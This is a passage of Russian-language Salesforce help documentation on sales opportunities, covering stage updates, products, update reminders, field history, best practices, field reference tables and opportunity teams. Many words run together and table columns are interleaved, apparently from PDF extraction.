Перемещение возможности на следующий этап в Salesforce Lightning Experience

Чтобы обновить этап возможности, воспользуйтесь записью возможности или
представлением «Карточка производственного заказа для коммерческой
возможности».

Продвижение возможности к следующему этапу в Salesforce Classic

Отслеживайте продвижение возможности по мере приближения сделки к
завершению.
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Перемещение возможности на следующий этап в Salesforce Lightning Experience

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания возможностей:
• «Создание» для

возможностей

Для просмотра
возможностей:
• «Просмотр» для

возможностей

Чтобы обновить этап возможности, воспользуйтесь записью возможности или
представлением «Карточкапроизводственногозаказадлякоммерческойвозможности».

Прим.: Данные действия поддерживаются в Lightning Experience. Если слева
находится панель навигации, вы в Lightning Experience. Если вверху экрана имеется
ряд вкладок, вы находитесь в Salesforce Classic.

• При просмотре записи открытой возможности выберите новый этап и щелкните
«Пометить как текущий».

• При просмотре записи открытой возможности щелкните «Пометить этап как
завершенный».

• Припросмотрепредставления «Карточкапроизводственногозаказадлякоммерческой
возможности» найдите нужную возможность и перетащите ее карту в столбец
следующего этапа.

СМ. ТАКЖЕ:

Карточка производственного заказа для коммерческих возможностей
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Продвижение возможности к следующему этапу в Salesforce Classic

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания возможностей:
• «Создание» для

возможностей

Для просмотра
возможностей:
• «Просмотр» для

возможностей

Отслеживайтепродвижениевозможностипомереприближения сделкик завершению.

Прим.: Эти действия доступны в Salesforce Classic. Если вверху экрана имеется ряд
вкладок, вы находитесь в Salesforce Classic. Если слева находится панель навигации,
вы в Lightning Experience.

1. Отредактируйте запись возможности, которую необходимо обновить.

2. Выберите новый этап.

3. Сохраните запись.
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Добавление и изменение продуктов в возможностях

ВЕРСИИ

Продукты и прайс-листы
доступны в следующих
версиях: Salesforce Classic
и Lightning Experience

Расписания доступны в
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для добавления или
изменения продуктов
возможности:
• «Редактирование» для

возможностей

И

«Чтение» для продуктов
и прайс-листов

Добавление продуктов в возможности позволяет отслеживать ассортимент и объемы
продаваемой продукции. Чтобы записи о продаваемых продуктах и доходах
гарантированно содержали точную информацию, следует регулярно обновлять
количество и цены продуктов в возможностях.

1. Найдите возможность, которую требуется изменить.

2. Нажмите кнопку «Правка» рядом с нужным продуктом в связанном списке
«Продукты» или нажмите кнопку «Добавить продукт». При добавлении первого
продукта укажите соответствующий прайс-лист возможности.

3. Чтобы добавить продукт, выберите один или несколько продуктов из списка или
выполните поиск.

4. Введите атрибуты для каждого продукта. На данную страницу можно добавить
дополнительные поля, характерные для организации.

5. Заполните поле «Продажная цена». По умолчанию реализационная цена
определяется ценой продукта по прайс-листу, назначенному возможности. В
зависимостиотпредоставленныхполномочийпользователяданное значениеможет
быть переопределено.

6. Введите скидку на продукт в виде числа со знаком % или без него в поле «Скидка».
Если поле «Скидка» недоступно, обратитесь к администратору.

7. Введите количество продуктов по данной цене в поле «Количество».

8. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Рекомендации по добавлению продуктов возможности

Поля продуктов возможностей

Продукты

Планирование напоминаний для обновления возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Чтобы обеспечить актуальность коммерческих возможностей для вашей группы
специалистов, следует создать автоматизированное сообщение электронной почты с
отчетом об открытых коммерческих возможностях и разослать его в прямые отчеты
вашей организации.

Например, вы можете запланировать еженедельный отчет для текущего финансового
квартала по всем возможностям, принадлежащим любому участнику рабочей группы,
и отправить его результаты участникам рабочей группы.

1. Убедитесь в том, что напоминания об обновлении коммерческих возможностей
включены.

2. Введите строку «Напоминание» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Мое напоминание об обновлении».

3. Чтобыактивироватьнапоминаниепослесохраненияпараметров, установитефлажок
«Активно».
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4. Введите имя и адрес для отправителя напоминаний.

5. Выберите параметр получателей.

6. Введителюбыхдругихполучателейвполе «Копия». Привводе адресов эл. почтырекомендуемиспользовать запятые,
точки с запятой, пробелы или новые строки.

7. Введите тему и сообщение для добавления в электронные напоминания.

8. Выберите частоту.

9. Чтобыдобавитьвсеоткрытыевозможности, дата закрытиякоторыхприходитсяна 90 дней, предшествующиезначению
поля «Дата закрытия», установите флажок «Добавить просроченные открытые возможности».

Предположим, организация использует стандартныйфинансовый год, а текущий квартал начинается 1 апреля
2012 года. Настройте напоминания об обновлении для возможностей, которые должны быть закрыты в текущем
месяце, и установите флажок «Добавить просроченные открытые возможности». Напоминание об обновлении,
отправленное 15 июня, включает все возможности, относящиеся к промежутку 1 апреля—15 июня. Кроме того, оно
включает открытые возможности, дата закрытия которых приходится на промежуток 2 января—1 апреля, так как
первый квартал содержит 91 день.

10. Чтобы добавить возможности, даты которых соответствуют данному диапазону, заполните поле «Дата закрытия».

11. Выберите поля для добавления в электронные напоминания.

ОписаниеПоле

Дата последнего входа ответственного за возможность.Дата последнего входа

Общее количество возможностей в отчете.Количество открытых возможностей

Общее количество возможностей, которые не
обновлялись за последние 30 дней.

Количество необновленных за последние 30 дней

Общая стоимость всех возможностей в отчете.Стоимость открытой возможности

Общая стоимость всех закрытых возможностей в отчете.

Если организация использует мультивалюту, то данная
стоимость преобразуется в валюту пользователя. Если

Общая стоимость закрытых

организация использует функцию расширенного
управления валютами, то преобразование выполняется
на основе датированных курсов обмена.

Дата отправки последнего прогноза ответственным за
возможность.

Если организация использует мультивалюту, то данная
стоимость преобразуется в валюту пользователя. Если

Дата последнего обновления

организация использует функцию расширенного
управления валютами, то преобразование выполняется
на основе датированных курсов обмена.

12. Нажмите кнопку «Сохранить».
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Еслинапоминаниеобобновлениивозможностине содержит записей, то система Salesforceнеотправляет сообщение
эл. почты. Если сообщение эл. почты не отправляется для трех последовательных напоминаний об обновлении
возможности, то запланированное напоминание деактивируется.

СМ. ТАКЖЕ:

Включение напоминаний об обновлении возможности

Индивидуальная настройка системы Salesforce

Принцип использования коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Чтобыиспользованиекоммерческихвозможностейвовсемспектре задач Salesforceбыло
наиболее эффективным, необходимо ознакомиться со следующими ключевыми
концепциями.

Карточка производственного заказа для коммерческих возможностей
Карточка производственного заказа для коммерческих возможностей — это
визуальнаясводкавсехвозможностейдляотдельногопутипродаж. Одновременный
просмотр всех возможностей позволяет менеджерам по продажам эффективно
отслеживатьожидаемыепродажи, а торговымпредставителямнепрерывноработать
над закрытием сделок.

Журнал поля возможности
Журнал поля позволяет отслеживать изменения, которые были внесены в
коммерческую возможность, в том числе изменения на конкретном этапе, чтобы
можно было быстро узнать, кто внес изменения в коммерческую возможность и
когда.

Рекомендациииразмышленияпоповодуиспользованиякоммерческихвозможностей
Чтобынаиболееэффективноиспользоватькоммерческиевозможности, необходимо
ознакомиться со следующими размышлениями и рекомендациями.

СМ. ТАКЖЕ:

Возможности

Карточка производственного заказа для коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Карточкапроизводственного заказа для коммерческих возможностей — это визуальная
сводка всех возможностейдляотдельногопутипродаж. Одновременныйпросмотрвсех
возможностейпозволяетменеджерампопродажамэффективноотслеживатьожидаемые
продажи, а торговым представителям непрерывно работать над закрытием сделок.
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Представление «Карточка производственного заказа для коммерческих возможностей» отображает возможности для
отдельного пути продаж (1). Коммерческие возможности сортируются по этапу; каждый этап отображает сумму всех
возможностей. Поля, отображаемые на такой карточке, представляют собой первые четыре поля в соответствующем
представлении списка (2). Чтобы переместить возможность, перетащите карту на следующий этап (3). Отображаемые
предупреждения содержат рекомендации по дальнейшим действиям, например создание задачи или события для
возможности, которая не содержит открытые действия (4). При необходимости создайте нужное действие без закрытия
данного представления. Переключитесь между представлениями (5) и отфильтруйте представление (6) для просмотра
конкретного набора возможностей.

При использовании представления «Карточка производственного заказа для коммерческих возможностей» выполните
некоторые рекомендации. Дополнительную информацию см. в Руководстве Lightning Experience.

СМ. ТАКЖЕ:

Перемещение возможности на следующий этап в Salesforce Lightning Experience

Принцип использования коммерческих возможностей
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Журнал поля возможности

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра
возможностей:
• «Чтение» для

возможностей

Журналполяпозволяетотслеживатьизменения, которыебыливнесенывкоммерческую
возможность, в том числе изменения на конкретном этапе, чтобы можно было быстро
узнать, кто внес изменения в коммерческую возможность и когда.

Имеетсядва связанныхсписка, отслеживающихизмененияполейв записивозможности.

Журнал поля возможности
При всяком изменении пользователем любого из стандартных или настраиваемых
полейкоммерческойвозможности, длякоторыхнастроеноотслеживание, всвязанный
список «Журналполя возможности» добавляетсяновая запись. Все записи содержат
сведения об этом изменении и о человеке, который его внес. Администратор может
выбрать поля, для которых необходимо использовать отслеживание.

Журнал этапов
Всякий раз, когда пользователь изменяет поля Сумма, Вероятность, Этап или Дата
закрытия, новая запись добавляется в связанный списокЖурнал этапов. Все записи
содержатсведенияобэтомизменениииочеловеке, которыйеговнес. Администратор
не может выбрать поля, для которых необходимо использовать отслеживание.

Измененияполей «Стоимость» и «Количество» можноотслеживать даже в том случае,
если поле обновлено в результате изменения продуктов или расписаний возможности.

СМ. ТАКЖЕ:

Отслеживание журнала поля для стандартных объектов

Принцип использования коммерческих возможностей

Рекомендации и размышления по поводу использования коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Чтобы наиболее эффективно использовать коммерческие возможности, необходимо
ознакомиться со следующими размышлениями и рекомендациями.

Рекомендации по созданию коммерческих возможностей
Множество возможностей организации можно создавать во время преобразования
перспективных интересов, а также вручную в Salesforce Classic Lightning Experience.

Рекомендации по удалению возможностей
Прежде чем удалять возможности Salesforce, ознакомьтесь с приведенными ниже
рекомендациями.

Рекомендации по клонированию коммерческих возможностей
При клонировании коммерческой возможности быстро создается коммерческая
возможность, содержащая ту же информацию, что и существующая. Прежде чем
клонировать коммерческие возможности Salesforce, ознакомьтесь с приведенными
ниже рекомендациями.
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Рекомендации по предоставлению общего доступа к возможностям
За счет совместного использования коммерческих возможностей с другими пользователями вы обеспечиваете
прозрачность хода своих действий. Это поможет другим предоставить вам важную информацию, которая поможет
совершать успешные сделки. Перед тем как начать совместное использование коммерческих возможностей, следует
ознакомиться со следующими рекомендациями.

Рекомендации по поиску похожих коммерческих возможностей
Ускорьте заключение сделок, воспользовавшись большей полнотой информации, содержащейся в успешно
заключенныхсделках, похожихна ту, которуювызаключаете сейчас. Вотнекоторыерекомендации, которыепомогут
вам находить коммерческие возможности, которые помогут вам при поиске коммерческих возможностей.

Рекомендации по добавлению продуктов возможности
Ниже перечислены моменты, которые следует учитывать администраторам и менеджерам отдела продаж при
добавлении продуктов в возможности.

Рекомендации по созданию коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Множество возможностей организации можно создавать во время преобразования
перспективных интересов, а также вручную в Salesforce Classic Lightning Experience.

Контакты и роли контактов

• Чтобы связать возможность с организацией или контактом, необходимо иметь
как минимум доступ для чтения к организации или контакту.

• В Salesforce Classic, контакт, запись которого используется для создания
возможности, автоматически становится основным в связанном списке
возможности «Роликонтакта». В Lightning Experienceприсозданиикоммерческой
возможности из записи контакта выводится запрос на назначение роли этому
контакту.

Подразделения
Если в организации включена поддержка подразделений, то подразделениюновой
возможности автоматически назначается подразделение связанной организации.

Прогнозы

• В версиях Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition
и Developer Edition созданнымвозможностямавтоматическиназначаетсякатегория
прогноза, соответствующая назначенному этапу возможности. Соотнесение
этапов возможности и категорий прогноза выполняется администратором при
редактировании значений раскрывающегося списка «Этап».

• Возможность, которая должна быть закрыта в конкретном месяце (определяется полем «Дата закрытия»),
автоматическидобавляетсяв соответствующийпрогноз, еслиполевозможности «Категорияпрогноза» несодержит
значение «Пропущено».

Мультивалюта
Если в организации включена поддержка мультивалюты, то стоимость возможности изначально отображается в
личной валюте. Чтобы изменить валюту для отслеживания доходов от продаж, выберите нужное значение в
раскрывающемся списке «Валюта возможности».

Доли возможности (доступно только в Salesforce Classic).
Если организация использует функцию группового сбыта и доли, сумма которых составляет 100%, то пользователь
автоматически добавляется в группу, работающую с возможностями, и изначально располагает 100% доли.
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Управление территориями
Если организация использует функцию управления территориями, то созданные возможности автоматически
назначаются территории при выполнении обоих указанных ниже условий.

• Пользовательпринадлежитилиобладаетполномочиемнаредактированиетойже территории, чтоиорганизация
возможности.

• Пользовательиорганизациябольшенеимеютдругихобщихтерриторий. (Обратите внимание, чтоприналичии
полномочия «Управление территориями» доступ предоставляется ко всем территориям, включая родительские
территории организации. При этом пользователю и организации доступны другие общие территории, кроме
случаев назначения организации только одной территории верхнего уровня. Территории не назначаются
возможностям.)

Рекомендации по удалению возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Прежде чем удалять возможности Salesforce, ознакомьтесь с приведенными ниже
рекомендациями.

• Удаление возможности доступно администратору, ответственному лицу или его
менеджерувиерархииролейорганизации, а такжепользователюссоответствующим
полномочием.

• При удалении возможности выполняется удаление всех связанных примечаний,
вложений, смет, элементов строки сметы, PDF-файлов смет, событий, задач,
партнерских взаимосвязей, сильных и слабых сторон конкурентов, ролей контактов
и журналов этапов.

• Удаленная возможность перемещается в корзину с возможностью восстановления
из нее. При восстановлении удаленной возможности все связанные элементы также
будут восстановлены.

• Контакты и организации, связанные с возможностью, не удаляются.

СМ. ТАКЖЕ:

Удаление записей
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Рекомендации по клонированию коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

При клонировании коммерческой возможности быстро создается коммерческая
возможность, содержащая ту же информацию, что и существующая. Прежде чем
клонировать коммерческие возможности Salesforce, ознакомьтесь сприведенныминиже
рекомендациями.

• Значение поля, доступного только для чтения не включается в клонированную
коммерческую возможность.

• Если коммерческая возможность имеет связанную с ней рабочую группу, рабочая
группа не включается в клонированную возможность. Вам потребуется добавить
рабочую группу коммерческой возможности в клонированную коммерческую
возможность.

• Если с коммерческой возможности связаны какие-либо продукты с уникальными
настраиваемыми полями, необходимо удалить значения в пользовательских полях
перед клонированием возможности.

Прим.: Значение поля, которое доступно только для чтения, не может быть
перенесено в клонированную запись.

СМ. ТАКЖЕ:

Поля возможностей

Рекомендации по предоставлению общего доступа к возможностям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

За счет совместного использования коммерческих возможностей с другими
пользователями вы обеспечиваете прозрачность хода своих действий. Это поможет
другимпредоставить вамважнуюинформацию, котораяпоможет совершать успешные
сделки. Перед тем как начать совместное использование коммерческих возможностей,
следует ознакомиться со следующими рекомендациями.

• Модельобщегодоступаорганизацииистандартныеуровнидоступа к возможностям
территорий определяются администратором.

• Пользователь может расширить доступ к возможностям, но не может ограничить
ниже стандартных уровней доступа организации.

• Общий доступ к возможности может быть предоставлен только пользователю с
полномочием «Чтение» для возможностей.

• Страница «Сведения об общем доступе» содержит список пользователей, групп,
ролей и территорий, имеющих общий доступ к возможности.

СМ. ТАКЖЕ:

Уровни доступа к записям
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Рекомендации по поиску похожих коммерческих возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: Все
выпуски для организаций,
активированные до лета
2009 г.

Доступно в версиях:
Выпуски Group,
Professional, Enterprise,
Performance, Unlimited,
and Developer для
организаций,
активированные до лета
2009 г.

Ускорьте заключение сделок, воспользовавшись большей полнотой информации,
содержащейся в успешно заключенных сделках, похожихна ту, которуювы заключаете
сейчас. Вот некоторые рекомендации, которые помогут вам находить коммерческие
возможности, которые помогут вам при поиске коммерческих возможностей.

• Используйте связанныйсписок «Похожиекоммерческие возможности» на странице
подробных сведений о конкретной коммерческой возможности, чтобы найти
успешно реализованные коммерческие возможности с похожей информацией.

• Критерии, по которым выполняется поиск похожих коммерческих возможностей,
определяется администраторомвашейорганизации. Врезультатепоискаможетбыть
найдено не более 10 000 возможностей, даты закрытия которых соответствуют
трехмесячному периоду, а отображено не более 300 записей, которые максимально
соответствуютзаданнымкритериям. Порядокотображениярезультатовопределяется
количеством совпадающих полей.

• Результаты можно фильтровать по дате завершения сделки или по совпадающим
полям.

• Чтобы рассмотреть степень сходства записи в результатах поиска и вашей текущей
сделки, наведите указательмышинаимя коммерческойвозможности. Совпадающие
поля будут выделены в боковой панели «Критерии совпадений».

СМ. ТАКЖЕ:

Включение и настройка похожих возможностей

Рекомендации по добавлению продуктов возможности

ВЕРСИИ

Продукты и прайс-листы
доступны в следующих
версиях: Salesforce Classic
и Lightning Experience

Расписания доступны в
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Нижеперечисленымоменты, которыеследуетучитыватьадминистраторамименеджерам
отдела продаж при добавлении продуктов в возможности.

• В поле «Стоимость» указывается общая стоимость продуктов, добавленных в
возможность. Значение поля «Стоимость» может быть изменено только после
удаления всех продуктов из возможности.

• Итоговая цена представляет собой количество продуктов, умноженное на
реализационную цену.

• Для продуктов Salesforce Classic, использующих стандартные расписания, Salesforce
создает расписания при добавлении продукта в возможность.

• Если организация поддерживает использование нескольких валют, то поле
возможности «Валюта» связано с валютой соответствующей записи прайс-листа.
Значениеполя «Валюта» можетбытьизмененотолькопослеудалениявсехпродуктов
из возможности.
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Поля возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Полявозможностейсодержатразнуюинформацию, предназначеннуюдляотслеживания
отложенныхипотенциальныхпродаж. Взависимостиотиспользуемогомакетастраницы
и параметров безопасности полей некоторые поля могут быть скрыты или недоступны
для редактирования.

ОписаниеПоле

Имя организации, связанной с
возможностью. Имя организации может
бытьвведеносамостоятельноиливыбрано
с помощью значка поиска.

Изменениеорганизациидлявозможности,
имеющейпартнеров, приводиткудалению

Имя организации

всех партнеров из связанного списка
«Партнеры».

Предполагаемый суммарный объем
продаж. Если в организации включена

Стоимость

поддержка мультивалюты, то стоимость
изначально отображается в личной
валюте. Чтобы изменить валюту для
отслеживания стоимости, выберите
нужное значение в раскрывающемся
списке «Валюта возможности».

Стоимость возможности с продуктами
равна суммарной стоимости связанных
продуктов. Стоимость возможности с
продуктами не может быть изменена
напрямую. Чтобы изменить стоимость
возможности с продуктами, рекомендуем
изменитьпродажнуюценуиликоличество
связанных продуктов.

Изменение прайс-листа для возможности
с продуктами приводит к удалению всех
продуктов из связанного списка
«Продукты». Однако значение поля
возможности «Стоимость» сохраняется.

Предполагаемая дата закрытия
возможности. Дата может быть введена

Дата закрытия

самостоятельно или выбрана в календаре,
который отображается при установке
курсора в поле.

Возможность, которая должна быть
закрытавконкретноммесяце (определяется
полем «Дата закрытия»), автоматически
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ОписаниеПоле

добавляется в соответствующий прогноз, если при
редактировании прогноза данной возможности не была
назначена категория «Пропущено».

Если поле «Этап» открытой возможности содержит
значение «Закрыто/реализовано», тополе «Дата закрытия»
отображает текущую дату по Гринвичу. По мере
необходимости время по Гринвичу может отличаться от
часового пояса пользователя на один день.

Контракт, связанный с возможностью.Контракт

Пользователь, создавшийвозможность, а такжедатаивремя
создания. (Только для чтения)

Создано

Списокнастраиваемыхссылокдлявозможностей, заданных
администратором. Доступно только в Salesforce Classic.

Настраиваемые ссылки

Описание возможности. Данное поле поддерживает ввод
не более 32 Кб данных. В отчетах отображаются только
первые 255 символов.

Описание

Доход, рассчитанный на основе значений в полях
«Стоимость» и «Вероятность».

Ожидаемый доход

Имя категории прогноза, отображаемое в отчетах, на
страницах редактирования и просмотра сведений о

Категория прогноза

возможностях, в списковыхпредставленияхвозможностей,
а такжеприпоиске возможностей. Данныйпараметрсвязан
с полем возможности «Этап». Дополнительную
информациюо категориях прогноза см. в разделе «Работа
с категориями прогнозов» на странице 1684.

Пользователь, который изменял поля возможности
последним, а также дата и время изменения. Данное поле

Последнее изменение сделано

не отслеживает изменения, внесенные в любые элементы
связанного списка возможности. (Только для чтения)

Источник возможности (например, реклама, партнер или
Интернет). Запись выбираетсяизраскрывающегося списка

Источник интереса

доступных значений, заданных администратором. Каждое
значение раскрывающегося списка может содержать не
более 40 символов.

Описание следующей задачи для закрытия возможности.
Данное поле может содержать не более 255 символов.

Следующий этап

Стандартнаявалютадля всехполейвалютыввозможности.
Стоимость отображается в валюте возможности, а также

Валюта возможности

преобразуетсявличнуювалютупользователя. Данноеполе
доступно только мультивалютным организациям.
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Валюта возможности с продуктами связана с валютой
связанного прайс-листа. Значение данного поля может
быть изменено только после удаления продуктов.

Подразделение, которому принадлежит возможность.
Значение данного поля автоматически наследуется от
связанной организации.

Данное поле доступно только для организаций,
использующих подразделения для сегментирования
данных.

Подразделение возможности

Имявозможности (например, «Acme.com: заказ напоставку
офисного оборудования»). Данное поле может содержать
не более 120 символов.

Имя возможности

Назначенныйответственныйзавозможность. Недоступно
в версии Personal Edition.

Ответственный за возможность

Имяполя, котороеопределяет значенияраскрывающегося
списка, доступные для записи. Тип записи может быть

Тип записи возможности

связан с процессомпродажи. Доступно в версиях Enterprise
Edition, Unlimited Edition, Performance Edition и Developer Edition.

Поле, определяющее принадлежность возможности
пользователю-партнеру. Данноеполедоступнотолькодля
чтения.

Организация-партнер

Имя кампании, ответственной за создание возможности.

Если возможность создана в результате преобразования
интереса, то имя кампании автоматически добавляется в

Основной источник кампании

данное поле из интереса. Если интерес связан с
несколькими кампаниями, то в возможность добавляется
кампания, статус участника которой обновлен последним.

При наличии нескольких влияющих кампанийщелкните
ссылку «Правка» напротив нужной основной кампании в
связанном списке «Влияние кампании» на странице
сведенийовозможностииустановитефлажок «Основной
источник кампании». При этом кампания добавляется в
поле возможности «Основной источник кампании».

Поле, определяющее личную возможность. Просмотр,
редактирование и составление отчетов по личным

Личное

возможностям доступны только администраторам,
ответственнымивышестоящимпользователямвиерархии
ролей. Недоступнов версияхGroup Editionи Personal Edition.
Личные возможности не инициируют предупреждения о
крупнойсделкеилибизнес-правила. Личныевозможности
учитываются прогнозами только при использовании
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функции настраиваемого прогнозирования или продукта
«Совместные прогнозы». При наличии полномочия
«Просмотр всех прогнозов» пользователи могут
просматривать личные возможности на вкладке
«Прогнозы».

Прим.: Установка флажка «Личное» инициирует
удалениегрупп, работающихсвозможностями, долей
возможности и общего доступа. (Ответственный за
личную возможность получает 100% типов долей,
сумма которых составляет данную стоимость.)

Вероятность закрытия возможности, выраженная в
процентах.

Значение поля «Вероятность» обновляется при каждом
изменении поля «Этап» даже в тех случаях, если поле

Вероятность

«Вероятность» помеченовмакете страницыкакдоступное
только для чтения. Значение данного поля может быть
переопределено только при наличии полномочия на его
редактирование.

Если возможность использует продукты, то данное поле
содержит общую сумму полей «Количество» во всех

Количество

продуктах из связанного списка «Продукты». Впротивном
случае данное поле используется в обычном порядке.

Текущий этап возможности (например, «Потенциальный
клиент» или «Предложение»). Запись выбирается из

Этап

раскрывающегося списка доступных значений, заданных
администратором. Количество значений не может
превышать 100. Каждое значениераскрывающегося списка
может содержать не более 40 символов.

Значения данного раскрывающегося списка соотносятся
со значениями категории прогноза, что позволяет
определить степень влияния возможности на прогноз.

Если поле «Этап» открытой возможности содержит
значение «Закрыто/реализовано», тополе «Дата закрытия»
отображает текущую дату по Гринвичу. По мере
необходимости время по Гринвичу может отличаться от
часового пояса пользователя на один день.

Смета, синхронизированная с возможностью.
Одновременновозможностьможетбытьсинхронизирована
только с одной сметой.

Синхронизированная смета
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Территория, связанная с возможностью. Доступно только
в том случае, если в организации включена функция
управления территориями.

Территория

Тип возможности (например, «Существующий бизнес»
или «Новый бизнес»). Запись выбирается из

Тип

раскрывающегося списка доступных значений, заданных
администратором. Каждое значение раскрывающегося
списка может содержать не более 40 символов.

СМ. ТАКЖЕ:

Поля продуктов возможностей

Возможности

Поля продуктов возможностей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступные поля
определяютсяиспользуемой
версией Salesforce.

Поля для продуктов, связанных с коммерческими возможностями, содержат сведения,
которые помогут отслеживать товары, продажа которых идет успешно. В зависимости
от используемого макета страницы и параметров безопасности полей некоторые поля
могут быть скрыты или недоступны для редактирования.

ОписаниеПоле

Указывает на то, является ли запись в
прайс-листе (продукт и цена по
прайс-листу) активной и доступной для
добавления в возможность или смету.

Активно

Имя пользователя, создавшего продукт.Создано

Дата закрытия отдельного продукта
возможности.

Дата

Скидка на продукт (в процентах).Скидка

Пользователь, изменившийполяпродукта
возможности последним. (Только для
чтения)

Последнее изменение сделано

Текст, позволяющий отличить один
продукт возможности от другого.

Краткое описание

Цена продукта по прайс-листу, включая
валюту.

Цена по прайс-листу

Имя возможности для данного продукта.Возможность

Элемент связанного списка возможности
«Продукты».

Продукт
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Имя продукта.Продукт

Количество единиц продукта возможности.Количество

Цена за продукт возможности.Продажная цена

Разница между стандартной ценой и ценой со скидкой.
Если валюта возможности отличается от валюты

Промежуточная сумма

пользователя, то данное поле отображает суммы в
преобразованной валюте.

Общая сумма всех стоимостей для данного продукта
возможности.

Итоговая цена

СМ. ТАКЖЕ:

Поля возможностей

Возможности

Совместная работа над возможностями сбыта

Группы, работающие с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем избегать создания повторяющихся записей возможностей каждым
участником группы сбыта. Взамен, рекомендуем создать группу, работающую с
возможностями, благодаря которой все участники получают доступ к одинаковым
записям. Также рекомендуем включить функцию «Доли возможности», позволяющую
делить кредит между участниками рабочей группы.

Группа, работающая с возможностями, — это совокупность пользователей Salesforce,
работающих совместно над возможностями. Типичная группа, работающая с
возможностями, может состоять из менеджера по работе с клиентами, торгового
представителя и консультанта по предпродажам.

Настройте рабочую группу для любой собственной возможности или возможности
нижестоящего участника в иерархии ролей. Добавьте участников рабочей группы и
выберитерольдлякаждогоучастника (например, «Руководительпроекта»). Самоеглавное,
укажите уровень доступа каждого участника рабочей группы к возможности: для чтения и записи или только для чтения.
Добавление, редактирование или удаление участников группы, работающей с возможностями, доступно только при
наличии доступа для чтения и записи связанной возможности. Группы, работающие с возможностями, не могут быть
настроеныдля личных возможностей. Кроме того, рабочие группынемогут быть дополненыпользователямимассового
портала.

При необходимости настройте стандартную группу, работающую с возможностями. Добавьте нужных пользователей.
Стандартная группа, работающая с возможностями, может автоматически добавляться во все возможности.

Изменения, внесенные в рабочую группу для отдельной возможности, не влияют на стандартную рабочую группу и
рабочие группы для других возможностей.

Выможетеотфильтроватьнастраиваемоесписковоепредставлениевозможностейвгруппе, работающейсвозможностями,
к которой относитесь. При создании или редактировании настраиваемого спискового представления возможностей
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выберите фильтр «Мои группы, работающие с возможностями», чтобы просмотреть их. Отчеты по возможностям
позволяют фильтровать возможности по рабочим группам с участием текущего пользователя.

СМ. ТАКЖЕ:

Добавление участников в группу, работающую с возможностями

Настройка стандартной группы, работающей с возможностями

Списковое представление групп, работающих с возможностями

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Списковое представление групп, работающих с возможностями, отображает сведения
об участниках группы, работающей с возможностями.

Ниже перечислены действия, доступные в данном списковом представлении.

• Чтобыотфильтроватьрезультатыпоискапопервойбукве, воспользуйтесь ссылками
в алфавитном указателе.

• Измените сведения об участнике рабочей группы.

• Удалите участника рабочей группы.

